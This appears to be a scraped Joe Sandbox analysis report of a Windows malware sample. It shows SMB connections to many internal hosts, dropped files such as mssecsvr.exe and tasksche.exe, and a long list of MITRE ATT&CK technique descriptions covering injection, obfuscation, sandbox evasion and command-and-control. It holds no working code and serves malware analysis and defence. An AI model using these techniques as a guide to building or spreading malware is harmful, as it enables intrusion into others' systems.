Source: global traffic	TCP traffic: 192.168.2.169:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.68:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.67:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.69:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.162:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.163:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.160:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.161:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.60:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.166:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.167:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.62:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.164:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.61:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.165:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.170:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.49:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.53:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.52:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.55:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.179:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.54:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.57:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.56:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.59:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.58:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.173:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.174:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.171:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.172:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.177:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.178:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.51:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.175:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.50:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.176:445	Jump to behavior

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report vGJZ7R5D9P

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db

C:\WINDOWS\qeriuwjhrf (copy)

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

C:\Windows\eee.exe

C:\Windows\mssecsvr.exe

C:\Windows\tasksche.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Windows Analysis Report
vGJZ7R5D9P

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre